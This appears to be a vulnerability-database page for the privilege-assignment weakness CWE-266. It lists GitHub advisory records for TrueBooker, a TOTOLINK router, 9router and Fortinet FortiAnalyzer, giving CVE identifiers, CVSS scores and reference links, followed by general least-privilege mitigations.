Vulnerability from github – Published: 2026-08-19 15:32 – Updated: 2026-08-19 15:32Unauthenticated Privilege Escalation in TrueBooker <= 1.2.6 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73347"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T13:18:07Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated Privilege Escalation in TrueBooker \u003c= 1.2.6 versions.",
"id": "GHSA-rj26-wv7g-62x2",
"modified": "2026-08-19T15:32:25Z",
"published": "2026-08-19T15:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73347"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-privilege-escalation-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJ3P-XJ8V-G5W3
Vulnerability from github – Published: 2025-04-16 09:32 – Updated: 2025-04-16 09:32A vulnerability was found in TOTOLINK A3700R 9.1.2u.5822_B20200513. It has been rated as critical. Affected by this issue is the function setL2tpServerCfg of the file /cgi-bin/cstecgi.cgi. The manipulation leads to improper access controls. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-3675"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T07:15:43Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in TOTOLINK A3700R 9.1.2u.5822_B20200513. It has been rated as critical. Affected by this issue is the function setL2tpServerCfg of the file /cgi-bin/cstecgi.cgi. The manipulation leads to improper access controls. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-rj3p-xj8v-g5w3",
"modified": "2025-04-16T09:32:12Z",
"published": "2025-04-16T09:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3675"
},
{
"type": "WEB",
"url": "https://lavender-bicycle-a5a.notion.site/TOTOLINK-A3700R-setL2tpServerCfg-1cb53a41781f80319d38dc5a8e9174ae?pvs=4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.304964"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.304964"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.551304"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJ93-2986-GMF9
Vulnerability from github – Published: 2026-06-01 18:31 – Updated: 2026-06-01 18:31A security vulnerability has been detected in decolua 9router up to 0.4.0. This issue affects the function isAuthenticated of the file src/dashboardGuard.js of the component HTTP Header Handler. The manipulation of the argument Host leads to improper authorization. The attack is possible to be carried out remotely. Upgrading to version 0.4.1 is capable of addressing this issue. The identifier of the patch is 428e2c045cb9c0eb8080e8b580471a9c2eaa95ca. Upgrading the affected component is recommended.
{
"affected": [],
"aliases": [
"CVE-2026-10269"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T17:16:43Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in decolua 9router up to 0.4.0. This issue affects the function isAuthenticated of the file src/dashboardGuard.js of the component HTTP Header Handler. The manipulation of the argument Host leads to improper authorization. The attack is possible to be carried out remotely. Upgrading to version 0.4.1 is capable of addressing this issue. The identifier of the patch is 428e2c045cb9c0eb8080e8b580471a9c2eaa95ca. Upgrading the affected component is recommended.",
"id": "GHSA-rj93-2986-gmf9",
"modified": "2026-06-01T18:31:50Z",
"published": "2026-06-01T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10269"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/issues/742"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/428e2c045cb9c0eb8080e8b580471a9c2eaa95ca"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.4.1"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10269"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/825188"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367548"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367548/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJHH-4M39-V2CG
Vulnerability from github – Published: 2025-01-16 09:30 – Updated: 2025-01-16 09:30A incorrect privilege assignment in Fortinet FortiAnalyzer versions 7.4.0 through 7.4.3, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15, FortiManager versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15, FortiAnalyzer Cloud versions 7.4.1 through 7.4.2, 7.2.1 through 7.2.6, 7.0.1 through 7.0.13, 6.4.1 through 6.4.7 allows attacker to escalate privilege via specific shell commands
{
"affected": [],
"aliases": [
"CVE-2024-45331"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-16T09:15:06Z",
"severity": "HIGH"
},
"details": "A incorrect privilege assignment in Fortinet FortiAnalyzer versions 7.4.0 through 7.4.3, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15, FortiManager versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15, FortiAnalyzer Cloud versions 7.4.1 through 7.4.2, 7.2.1 through 7.2.6, 7.0.1 through 7.0.13, 6.4.1 through 6.4.7 allows attacker to escalate privilege via specific shell commands",
"id": "GHSA-rjhh-4m39-v2cg",
"modified": "2025-01-16T09:30:36Z",
"published": "2025-01-16T09:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45331"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
No CAPEC attack patterns related to this CWE.